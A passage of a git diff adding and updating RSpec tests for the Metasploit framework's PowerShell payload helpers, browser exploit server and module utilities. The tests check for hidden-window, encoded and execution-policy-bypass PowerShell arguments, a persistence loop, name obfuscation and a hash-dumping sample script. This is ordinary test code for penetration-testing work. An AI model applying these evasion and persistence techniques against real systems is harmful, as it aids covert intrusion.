a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/exploit/http/server' describe Msf::Exploit::Remote::HttpServer do + subject(:server_module) do mod = Msf::Exploit.allocate mod.extend described_class @@ -26,6 +27,9 @@ describe Msf::Exploit::Remote::HttpServer do Rex::ServiceManager.stub(:start => mock_service) end + # Ensure the class is hooks Metasploit::Concern + it_should_behave_like 'Metasploit::Concern.run' + describe "#add_resource" do it "should call the ServiceManager's add_resource" do server_module.start_service diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb new file mode 100644 index 0000000000..28875a74ce --- /dev/null +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -0,0 +1,490 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/powershell' + +def decompress(code) + Rex::Exploitation::Powershell::Script.new(code).decompress_code +end + +describe Msf::Exploit::Powershell do + subject do + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, {}) + mod.datastore['Verbose'] = true + mod + end + + let(:example_script) do + File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1") + end + + let(:payload) do + Rex::Text.rand_text_alpha(120) + end + + let(:arch) do + 'x86' + end + + describe "::encode_script" do + it 'should read and encode a sample script file' do + script = subject.encode_script(example_script) + script.should be + script.length.should be > 0 + end + end + + describe "::compress_script" do + context 'when default datastore is set' do + it 'should create a compressed script' do + script = File.read(example_script) + compressed = subject.compress_script(script) + compressed.length.should be < script.length + compressed.include?('IO.Compression').should be_truthy + end + + it 'should create a compressed script with eof' do + script = File.read(example_script) + compressed = subject.compress_script(script, 'end_of_file') + compressed.include?('end_of_file').should be_truthy + end + end + + context 'when strip_comments is true' do + before do + subject.datastore['Powershell::strip_comments'] = true + subject.options.validate(subject.datastore) + end + it 'should strip comments' do + script = File.read(example_script) + compressed = subject.compress_script(script) + compressed.length.should be < script.length + end + end + context 'when strip_comment is false' do + before do + subject.datastore['Powershell::strip_comments'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt strip comments' do + script = File.read(example_script) + compressed = subject.compress_script(script) + compressed.length.should be < script.length + end + end + + context 'when strip_whitespace is true' do + before do + subject.datastore['Powershell::strip_comments'] = false + subject.datastore['Powershell::strip_whitespace'] = true + subject.options.validate(subject.datastore) + end + it 'should strip whitespace' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).length.should be < script.length + end + end + + context 'when strip_whitespace is false' do + before do + subject.datastore['Powershell::strip_comments'] = false + subject.datastore['Powershell::strip_whitespace'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt strip whitespace' do + script = File.read(example_script) + compressed = subject.compress_script(script) + expect(decompress(compressed).length).to eq(script.length) + end + end + + context 'when sub_vars is true' do + before do + subject.datastore['Powershell::sub_vars'] = true + subject.options.validate(subject.datastore) + end + it 'should substitute variables' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('$hashes').should be_falsey + end + end + + context 'when sub_vars is false' do + before do + subject.datastore['Powershell::sub_vars'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt substitute variables' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('$hashes').should be_truthy + end + end + + context 'when sub_funcs is true' do + before do + subject.datastore['Powershell::sub_funcs'] = true + subject.options.validate(subject.datastore) + end + it 'should substitute functions' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('DumpHashes').should be_falsey + end + end + + context 'when sub_funcs is false' do + before do + subject.datastore['Powershell::sub_funcs'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt substitute variables' do + script = File.read(example_script) + compressed = subject.compress_script(script) + decompress(compressed).include?('DumpHashes').should be_truthy + end + end + end + + describe "::run_hidden_psh" do + + + let(:encoded) do + false + end + + context 'when x86 payload' do + it 'should generate code' do + code = subject.run_hidden_psh(payload, arch, encoded) + code.include?('syswow64').should be_truthy + end + end + + context 'when x64 payload' do + it 'should generate code' do + code = subject.run_hidden_psh(payload, 'x86_64', encoded) + code.include?('sysnative').should be_truthy + end + end + + context 'when encoded' do + it 'should generate a code including an encoded command' do + code = subject.run_hidden_psh(payload, arch, true) + code.include?('-nop -w hidden -e ').should be_truthy + end + end + + context 'when command' do + it 'should generate code including a -c command' do + code = subject.run_hidden_psh(payload, arch, encoded) + code.include?('-nop -w hidden -c ').should be_truthy + end + end + + context 'when old' do + before do + subject.datastore['Powershell::method'] = 'old' + subject.options.validate(subject.datastore) + end + it 'should generate a code including unshorted args' do + code = subject.run_hidden_psh(payload, arch, encoded) + code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy + end + end + end + + describe "::cmd_psh_payload" do + context 'when payload is huge' do + it 'should raise an exception' do + except = false + begin + code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch) + rescue RuntimeError => e + except = true + end + + except.should be_truthy + end + end + + context 'when persist is true' do + before do + subject.datastore['Powershell::persist'] = true + subject.options.validate(subject.datastore) + end + it 'should add a persistance loop' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy + end + end + + context 'when persist is false' do + before do + subject.datastore['Powershell::persist'] = false + subject.options.validate(subject.datastore) + end + it 'shouldnt add a persistance loop' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey + end + end + + context 'when prepend_sleep is set' do + before do + subject.datastore['Powershell::prepend_sleep'] = 5 + subject.options.validate(subject.datastore) + end + it 'should prepend sleep' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('Start-Sleep -s ').should be_truthy + end + end + + context 'when prepend_sleep isnt set' do + before do + subject.datastore['Powershell::prepend_sleep'] = nil + subject.options.validate(subject.datastore) + end + it 'shouldnt prepend sleep' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('Start-Sleep -s ').should be_falsey + end + end + + context 'when prepend_sleep is 0' do + before do + subject.datastore['Powershell::prepend_sleep'] = 0 + subject.options.validate(subject.datastore) + end + it 'shouldnt prepend sleep' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('Start-Sleep -s ').should be_falsey + end + end + + context 'when method is old' do + before do + subject.datastore['Powershell::method'] = 'old' + subject.options.validate(subject.datastore) + end + it 'should generate a command line' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('-namespace Win32Functions').should be_truthy + end + it 'shouldnt shorten args' do + code = subject.cmd_psh_payload(payload, arch) + code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy + end + it 'should include -NoExit' do + code = subject.cmd_psh_payload(payload, arch) + code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy + end + end + + context 'when method is net' do + before do + subject.datastore['Powershell::method'] = 'net' + subject.options.validate(subject.datastore) + end + it 'should generate a command line' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('System.Runtime.InteropServices;').should be_truthy + end + end + + context 'when method is reflection' do + before do + subject.datastore['Powershell::method'] = 'reflection' + subject.options.validate(subject.datastore) + end + it 'should generate a command line' do + code = subject.cmd_psh_payload(payload, arch) + decompress(code).include?('GlobalAssemblyCache').should be_truthy + end + end + + context 'when method is msil' do + before do + subject.datastore['Powershell::method'] = 'msil' + subject.options.validate(subject.datastore) + end + it 'should raise an exception' do + except = false + begin + subject.cmd_psh_payload(payload, arch) + rescue RuntimeError + except = true + end + except.should be_truthy + end + end + + context 'when method is unknown' do + before do + subject.datastore['Powershell::method'] = 'blah' + end + it 'should raise an exception' do + except = false + begin + subject.cmd_psh_payload(payload, arch) + rescue RuntimeError + except = true + end + except.should be_truthy + end + after do + subject.datastore['Powershell::method'] = 'reflection' + subject.options.validate(subject.datastore) + end + end + + context 'when encode_inner_payload' do + it 'should contain an inner payload with -e' do + code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) + code.include?(' -e ').should be_truthy + end + + context 'when no_equals is true' do + it 'should raise an exception' do + except = false + begin + code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true}) + rescue RuntimeError + except = true + end + except.should be_truthy + end + end + end + + context 'when encode_final_payload' do + context 'when no_equals is false' do + it 'should contain a final payload with -e' do + code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) + code.include?(' -e ').should be_truthy + code.include?(' -c ').should be_falsey + end + end + context 'when no_equals is true' do + it 'should contain a final payload with -e' do + code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) + code.include?(' -e ').should be_truthy + code.include?(' -c ').should be_falsey + code.include?('=').should be_falsey + end + end + context 'when encode_inner_payload is true' do + it 'should raise an exception' do + except = false + begin + subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :encode_inner_payload => true}) + rescue RuntimeError + except = true + end + except.should be_truthy + end + end + end + + context 'when remove_comspec' do + it 'shouldnt contain %COMSPEC%' do + code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) + code.include?('%COMSPEC%').should be_falsey + end + end + + context 'when use single quotes' do + it 'should wrap in single quotes' do + code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) + code.include?(' -c \'').should be_truthy + end + end + end + + describe "::generate_psh_command_line" do + it 'should contain no full stop when :no_full_stop' do + opts = {:no_full_stop => true} + command = subject.generate_psh_command_line(opts) + command.include?("powershell ").should be_truthy + end + + it 'should contain full stop unless :no_full_stop' do + opts = {} + command = subject.generate_psh_command_line(opts) + command.include?("powershell.exe ").should be_truthy + + opts = {:no_full_stop => false} + command = subject.generate_psh_command_line(opts) + command.include?("powershell.exe ").should be_truthy + end + + it 'should ensure the path should always ends with \\' do + opts = {:path => "test"} + command = subject.generate_psh_command_line(opts) + command.include?("test\\powershell.exe ").should be_truthy + + opts = {:path => "test\\"} + command = subject.generate_psh_command_line(opts) + command.include?("test\\powershell.exe ").should be_truthy + end + end + + describe "::generate_psh_args" do + it 'should return empty string for nil opts' do + subject.generate_psh_args(nil).should eql "" + end + + command_args = [[:encodedcommand, "parp"], + [:executionpolicy, "bypass"], + [:inputformat, "xml"], + [:file, "x"], + [:noexit, true], + [:nologo, true], + [:noninteractive, true], + [:mta, true], + [:outputformat, 'xml'], + [:sta, true], + [:noprofile, true], + [:windowstyle, "hidden"], + [:command, "Z"] + ] + + permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]} + + permutations.each do |perms| + opts = {} + perms.each do |k,v| + opts[k] = v + it "should generate correct arguments for #{opts}" do + opts[:shorten] = true + short_args = subject.generate_psh_args(opts) + opts[:shorten] = false + long_args = subject.generate_psh_args(opts) + + opt_length = opts.length - 1 + + short_args.should_not be_nil + long_args.should_not be_nil + short_args.count('-').should eql opt_length + long_args.count('-').should eql opt_length + short_args[0].should_not eql " " + long_args[0].should_not eql " " + short_args[-1].should_not eql " " + long_args[-1].should_not eql " " + + if opts[:command] + long_args[-10..-1].should eql "-Command Z" + short_args[-4..-1].should eql "-c Z" + end + end + end + end + end + +end + diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 53d4b035a7..be46aecc8d 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -1,6 +1,5 @@ require 'spec_helper' require 'msf/core' -require 'msf/core/exploit/remote/browser_exploit_server' describe Msf::Exploit::Remote::BrowserExploitServer do @@ -12,37 +11,39 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end let(:service_double) do - service = double("service") + service = double('service') service.stub(:server_name=) service.stub(:add_resource) - service end let(:profile_name) do - "random" + 'random' end let(:expected_os_name) do - "linux" + 'linux' end let(:expected_user_agent) do - "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' + end + + let(:exploit_page) do + server.instance_variable_get(:@exploit_receiver_page) end let(:expected_profile) do { - :source=>"script", - :os_name=>"Microsoft Windows", - :os_flavor=>"XP", - :ua_name=>"MSIE", - :ua_ver=>"8.0", - :arch=>"x86", - :office=>"null", - :activex=>"true", + :source=>'script', + :os_name=>'Windows XP', + :ua_name=>'MSIE', + :ua_ver=>'8.0', + :arch=>'x86', + :office=>'null', + :activex=>'true', :proxy=>false, - :language=>"en-us", + :language=>'en-us', :tried=>true } end @@ -55,22 +56,23 @@ describe Msf::Exploit::Remote::BrowserExploitServer do server.start_service end - describe ".get_module_resource" do + it_should_behave_like 'Msf::Exploit::JSObfu' + + describe "#get_module_resource" do it "should give me a URI to access the exploit page" do - ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page) module_resource = server.get_module_resource - module_resource.should match(ivar_exploit_page) + expect(module_resource).to include(exploit_page) end end - describe ".get_bad_requirements" do + describe "#get_bad_requirements" do let(:rejected_requirements) do server.get_bad_requirements(fake_profile) end context 'when given the expected profile' do it "should not contain any bad requirements" do - server.get_bad_requirements(expected_profile).should eq([]) + expect(server.get_bad_requirements(expected_profile)).to eq([]) end end @@ -83,8 +85,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do server.instance_variable_set(:@requirements, {:os_name => /win/i}) end - it "should have identify :os_name as a requirement not met" do - rejected_requirements.should eq([:os_name]) + it "identifies :os_name as a requirement not met" do + expect(rejected_requirements).to eq([:os_name]) end end @@ -102,86 +104,86 @@ describe Msf::Exploit::Remote::BrowserExploitServer do context "with the regex /26\.0$/" do let(:ua_ver) { /26\.0$/ } it "should reject :ua_ver" do - rejected_requirements.should include(:ua_ver) + expect(rejected_requirements).to include(:ua_ver) end end context "with the regex /25\.0$/" do let(:ua_ver) { /25\.0$/ } it "should accept :ua_ver" do - rejected_requirements.should_not include(:ua_ver) + expect(rejected_requirements).not_to include(:ua_ver) end end context "with a Proc that checks if version is between 1-5" do let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } } it "should reject :ua_ver" do - rejected_requirements.should include(:ua_ver) + expect(rejected_requirements).to include(:ua_ver) end end context "with a Proc that checks if version is between 20-26" do let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } } it "should accept :ua_ver" do - rejected_requirements.should_not include(:ua_ver) + expect(rejected_requirements).not_to include(:ua_ver) end end end end end - describe ".init_profile" do + describe "#init_profile" do it "should initialize an empety profile for tag 'random'" do server.init_profile(profile_name) ivar_target_profile = server.instance_variable_get(:@target_profiles) - ivar_target_profile.should eq({profile_name=>{}}) + expect(ivar_target_profile).to eq({profile_name=>{}}) end end - describe ".get_profile" do + describe "#get_profile" do it "should return nil when a profile isn't found" do server.init_profile(profile_name) p = server.get_profile("non_existent_profile") - p.should be_nil + expect(p).to be_nil end - it "should return a profile if found" do + it "returns a profile if found" do server.init_profile(profile_name) p = server.get_profile(profile_name) - p.should eq({}) + expect(p).to eq({}) end end - describe ".update_profile" do - it "should update my target profile's :os_name information" do + describe "#update_profile" do + it "updates my target profile's :os_name information" do server.init_profile(profile_name) profile = server.get_profile(profile_name) server.update_profile(profile, :os_name, expected_os_name) profile = server.get_profile(profile_name) - profile[:os_name].should eq(expected_os_name) + expect(profile[:os_name]).to eq(expected_os_name) end end - describe ".get_detection_html" do - it "should return the detection code that the client will get" do + describe "#get_detection_html" do + it "returns the detection code that the client will get" do html = server.get_detection_html(expected_user_agent) - html.should_not eq('') + expect(html).not_to eq('') end end - describe ".on_request_exploit" do - it "should raise a NoMethodError if called" do + describe "#on_request_exploit" do + it "raises a NoMethodError if called" do fake_cli = nil fake_request = nil fake_browser_info = nil - lambda { + expect { server.on_request_exploit(fake_cli, fake_request, fake_browser_info) - }.should raise_error + }.to raise_error end end - describe ".get_target" do - it "should return a target" do + describe "#get_target" do + it "returns a target" do # # Using Object for Msf::Module::Target # @@ -191,8 +193,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe ".try_set_target" do - it "should try to set a target based on requirements" do + describe "#try_set_target" do + it "Sets a target based on requirements" do # # This testcase needs to be better somehow, but not sure how to actually create # a Msf::Module::Target. All we're able to test here is making sure the method @@ -205,20 +207,95 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe ".extract_requirements" do - it "should find all the recognizable keys" do - requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"} + describe "#extract_requirements" do + it "finds all the recognizable keys" do + requirements = {:os_name=>"Windows XP", :ua_name=>"MSIE", :ua_ver=>"8.0"} matches = server.extract_requirements(requirements) - matches.should eq(requirements) + expect(matches).to eq(requirements) end - it "should make sure the keys are always symbols" do - requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"} + it "makes sure the keys are always symbols" do + requirements = {'os_name'=>"Windows XP", 'ua_name'=>"MSIE"} matches = server.extract_requirements(requirements) matches.each do |k,v| - k.class.should eq(Symbol) + expect(k.class).to eq(Symbol) end end end -end \ No newline at end of file + describe '#on_request_uri' do + let(:cli) { double(:peerhost => '0.0.0.0') } + let(:cookie) { '' } + let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} } + let(:body) { '' } + let(:cookie_name) { Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME } + let(:request) do + double(:body => body, :headers => headers, :uri => server.get_resource ) + end + + before do + server.stub(:send_redirect) + server.stub(:send_response) + server.stub(:send_not_found) + end + + context 'when a new visitor requests the exploit' do + before { JSObfu.disabled = true } + after { JSObfu.disabled = false } + + it 'calls send_response once' do + server.should_receive(:send_response).once + server.on_request_uri(cli, request) + end + + it 'serves the os.js detection script' do + server.should_receive(:send_response) do |cli, html, headers| + expect(html).to include('os_detect') + end + server.on_request_uri(cli, request) + end + end + + context 'when a returning visitor requests the exploit' do + let(:body) { '' } + let(:tag) { 'joe' } + let(:cookie) { "#{cookie_name}=#{tag}" } + + before { server.init_profile(tag) } + + it 'calls send_redirect once' do + server.should_receive(:send_redirect).once + server.on_request_uri(cli, request) + end + + it 'redirects to the exploit URL' do + server.should_receive(:send_redirect) do |cli, url| + expect(url).to end_with("#{exploit_page}/") + end + server.on_request_uri(cli, request) + end + end + + context 'when a returning visitor from a previous msf run requests the exploit' do + let(:body) { '' } + let(:tag) { 'joe' } + let(:cookie) { "#{cookie_name}=#{tag}" } + + before { JSObfu.disabled = true } + after { JSObfu.disabled = false } + + it 'calls send_response once' do + server.should_receive(:send_response).once + server.on_request_uri(cli, request) + end + + it 'serves the os.js detection script' do + server.should_receive(:send_response) do |cli, html, headers| + expect(html).to include('os_detect') + end + server.on_request_uri(cli, request) + end + end + end + +end diff --git a/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb new file mode 100644 index 0000000000..392ee8e850 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb @@ -0,0 +1,8 @@ +require 'spec_helper' +require 'msf/core' + +describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do + + it_should_behave_like 'Msf::Exploit::JSObfu' + +end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index d9bde3a5ea..3cecd9d026 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -4,33 +4,44 @@ require 'spec_helper' require 'msf/core/framework' describe Msf::Framework do + context '#initialize' do + subject(:framework) { + described_class.new + } + + it 'creates no threads' do + expect { + framework + }.not_to change { Thread.list.count } + end + end describe "#version" do - CURRENT_VERSION = "4.9.0-dev" + CURRENT_VERSION = "4.11.0-dev" - subject do + subject(:framework) do described_class.new end it "should return the current version" do - subject.version.should == CURRENT_VERSION + framework.version.should == CURRENT_VERSION end it "should return the Version constant" do - described_class.const_get(:Version).should == subject.version + described_class.const_get(:Version).should == framework.version end it "should return the concatenation of Major.Minor.Point-Release" do - major,minor,point,release = subject.version.split(/[.-]/) + major,minor,point,release = framework.version.split(/[.-]/) major.to_i.should == described_class::Major minor.to_i.should == described_class::Minor point.to_i.should == described_class::Point "-#{release}".should == described_class::Release end - pending "conform to SemVer 2.0 syntax: http://semver.org/" do + skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do - major,minor,patch,label = subject.version.split(/[.-]/) + major,minor,patch,label = framework.version.split(/[.-]/) major.to_i.should == described_class::VERSION::MAJOR minor.to_i.should == described_class::VERSION::MINOR point.to_i.should == described_class::VERSION::POINT diff --git a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb index a6d8414b78..51d83619a3 100644 --- a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb +++ b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb @@ -86,4 +86,4 @@ describe Msf::Handler::ReverseHttp::UriChecksum do end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/module/failure_spec.rb b/spec/lib/msf/core/module/failure_spec.rb new file mode 100644 index 0000000000..7b71b7d2a4 --- /dev/null +++ b/spec/lib/msf/core/module/failure_spec.rb @@ -0,0 +1,102 @@ +require 'spec_helper' + +describe Msf::Module::Failure do + context 'CONSTANTS' do + context 'None' do + subject(:none) { + described_class::None + } + it { is_expected.to eq('none') } + end + + context 'Unknown' do + subject(:unknown) { + described_class::Unknown + } + it { is_expected.to eq('unknown') } + end + context 'Unreachable' do + subject(:unreachable) { + described_class::Unreachable + } + it { is_expected.to eq('unreachable') } + end + + context 'BadConfig' do + subject(:bad_config) { + described_class::BadConfig + } + it { is_expected.to eq('bad-config') } + end + + context 'Disconnected' do + subject(:disconnected) { + described_class::Disconnected + } + it { is_expected.to eq('disconnected') } + end + + context 'NotFound' do + subject(:not_found) { + described_class::NotFound + } + it { is_expected.to eq('not-found') } + end + + context 'UnexpectedReply' do + subject(:unexpected_reply) { + described_class::UnexpectedReply + } + + it { is_expected.to eq('unexpected-reply') } + end + + context 'TimeoutExpired' do + subject(:timeout_expired) { + described_class::TimeoutExpired + } + + it { is_expected.to eq('timeout-expired') } + end + + context 'UserInterrupt' do + subject(:user_interrupt) { + described_class::UserInterrupt + } + + it { is_expected.to eq('user-interrupt') } + end + + context 'NoAccess' do + subject(:no_access) { + described_class::NoAccess + } + + it { is_expected.to eq('no-access') } + end + + context 'NoTarget' do + subject(:no_target) { + described_class::NoTarget + } + + it { is_expected.to eq('no-target') } + end + + context 'NotVulnerable' do + subject(:not_vulnerable) { + described_class::NotVulnerable + } + + it { is_expected.to eq('not-vulnerable') } + end + + context 'PayloadFailed' do + subject(:payload_failed) { + described_class::PayloadFailed + } + + it { is_expected.to eq('payload-failed') } + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 9e121a31af..d311b07e6e 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -19,14 +19,6 @@ require 'msf/core' describe Msf::ModuleManager do include_context 'Msf::Simple::Framework' - let(:archive_basename) do - [basename_prefix, archive_extension] - end - - let(:archive_extension) do - '.fastlib' - end - let(:basename_prefix) do 'rspec' end diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 5a69e47c9b..35b83bc7b1 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -1,174 +1,94 @@ # -*- coding:binary -*- require 'spec_helper' require 'msf/core/module' -require 'msf/core/module/platform_list' - -shared_examples "search_filter" do |opts| - accept = opts[:accept] || [] - reject = opts[:reject] || [] - - accept.each do |query| - it "should accept a query containing '#{query}'" do - # if the subject matches, search_filter returns false ("don't filter me out!") - subject.search_filter(query).should be_false - end - - unless opts.has_key?(:test_inverse) and not opts[:test_inverse] - it "should reject a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_true - end - end - end - - reject.each do |query| - it "should reject a query containing '#{query}'" do - # if the subject doesn't matches, search_filter returns true ("filter me out!") - subject.search_filter(query).should be_true - end - - unless opts.has_key?(:test_inverse) and not opts[:test_inverse] - it "should accept a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_true # what? why? - end - end - end -end - - -REF_TYPES = %w(CVE BID OSVDB EDB) describe Msf::Module do - describe '#search_filter' do - let(:opts) { Hash.new } - before { subject.stub(:fullname => '/module') } - subject { Msf::Module.new(opts) } - accept = [] - reject = [] + subject(:msf_module) { + described_class.new + } - context 'on a blank query' do - it_should_behave_like 'search_filter', :accept => [''], :test_inverse => false - end + it { is_expected.to respond_to :check } + it { is_expected.to respond_to :debugging? } + it { is_expected.to respond_to_protected :derived_implementor? } + it { is_expected.to respond_to :fail_with } + it { is_expected.to respond_to :file_path } + it { is_expected.to respond_to :framework } + it { is_expected.to respond_to :orig_cls } + it { is_expected.to respond_to :owner } + it { is_expected.to respond_to :platform? } + it { is_expected.to respond_to :platform_to_s } + it { is_expected.to respond_to :register_parent } + it { is_expected.to respond_to :replicant } + it { is_expected.to respond_to_protected :set_defaults } + it { is_expected.to respond_to :workspace } - context 'on a client module' do - before { subject.stub(:stance => 'passive') } - accept = %w(app:client) - reject = %w(app:server) + it_should_behave_like 'Msf::Module::Arch' + it_should_behave_like 'Msf::Module::Compatibility' + it_should_behave_like 'Msf::Module::DataStore' + it_should_behave_like 'Msf::Module::FullName' + it_should_behave_like 'Msf::Module::ModuleInfo' + it_should_behave_like 'Msf::Module::ModuleStore' + it_should_behave_like 'Msf::Module::Network' + it_should_behave_like 'Msf::Module::Options' + it_should_behave_like 'Msf::Module::Privileged' + it_should_behave_like 'Msf::Module::Ranking' + it_should_behave_like 'Msf::Module::Search' + it_should_behave_like 'Msf::Module::Type' + it_should_behave_like 'Msf::Module::UI' + it_should_behave_like 'Msf::Module::UUID' - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end + context 'class' do + subject { + described_class + } - context 'on a server module' do - before { subject.stub(:stance => 'aggressive') } - accept = %w(app:server) - reject = %w(app:client) + it { is_expected.to respond_to :cached? } + it { is_expected.to respond_to :is_usable } + end - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end + describe "cloning modules into replicants" do + module MsfExtensionTestFoo; def my_test1; true; end; end; + module MsfExtensionTestBar; def my_test2; true; end; end; - context 'on a module with the author "joev"' do - let(:opts) { ({ 'Author' => ['joev'] }) } - accept = %w(author:joev author:joe) - reject = %w(author:unrelated) + describe "#perform_extensions" do + describe "when there are extensions registered" do + before(:each) do + msf_module.register_extensions(MsfExtensionTestFoo, MsfExtensionTestBar) + end - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end + it 'should extend the module replicant with the constants referenced in the datastore' do + expect(msf_module.replicant).to respond_to(:my_test1) + expect(msf_module.replicant).to respond_to(:my_test2) + end + end - context 'on a module with the authors "joev" and "blarg"' do - let(:opts) { ({ 'Author' => ['joev', 'blarg'] }) } - accept = %w(author:joev author:joe) - reject = %w(author:sinn3r) + describe "when the datastore key has invalid data" do + before(:each) do + msf_module.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY] = "invalid" + end - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module that supports the osx platform' do - let(:opts) { ({ 'Platform' => %w(osx) }) } - accept = %w(platform:osx os:osx) - reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix) - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module that supports the linux platform' do - let(:opts) { ({ 'Platform' => %w(linux) }) } - accept = %w(platform:linux os:linux) - reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix) - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module that supports the windows platform' do - let(:opts) { ({ 'Platform' => %w(windows) }) } - accept = %w(platform:windows os:windows) - reject = %w(platform:bsd platform:osx platform:unix os:bsd os:osx os:unix) - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module that supports the osx and linux platforms' do - let(:opts) { ({ 'Platform' => %w(osx linux) }) } - accept = %w(platform:osx platform:linux os:osx os:linux) - reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix) - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module that supports the windows and irix platforms' do - let(:opts) { ({ 'Platform' => %w(windows irix) }) } - accept = %w(platform:windows platform:irix os:windows os:irix) - reject = %w(platform:bsd platform:osx platform:linux os:bsd os:osx os:linux) - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module with a default RPORT of 5555' do - before { subject.stub(:datastore => { 'RPORT' => 5555 }) } - accept = %w(port:5555) - reject = %w(port:5556) - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject - end - - context 'on a module with a #name of "blah"' do - let(:opts) { ({ 'Name' => 'blah' }) } - it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) - it_should_behave_like 'search_filter', :accept => %w(name:blah), :reject => %w(name:foo) - end - - context 'on a module with a #fullname of "blah"' do - before { subject.stub(:fullname => '/c/d/e/blah') } - it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) - it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo) - end - - context 'on a module with a #description of "blah"' do - let(:opts) { ({ 'Description' => 'blah' }) } - it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) - end - - context 'when filtering by module #type' do - all_module_types = Msf::MODULE_TYPES - all_module_types.each do |mtype| - context "on a 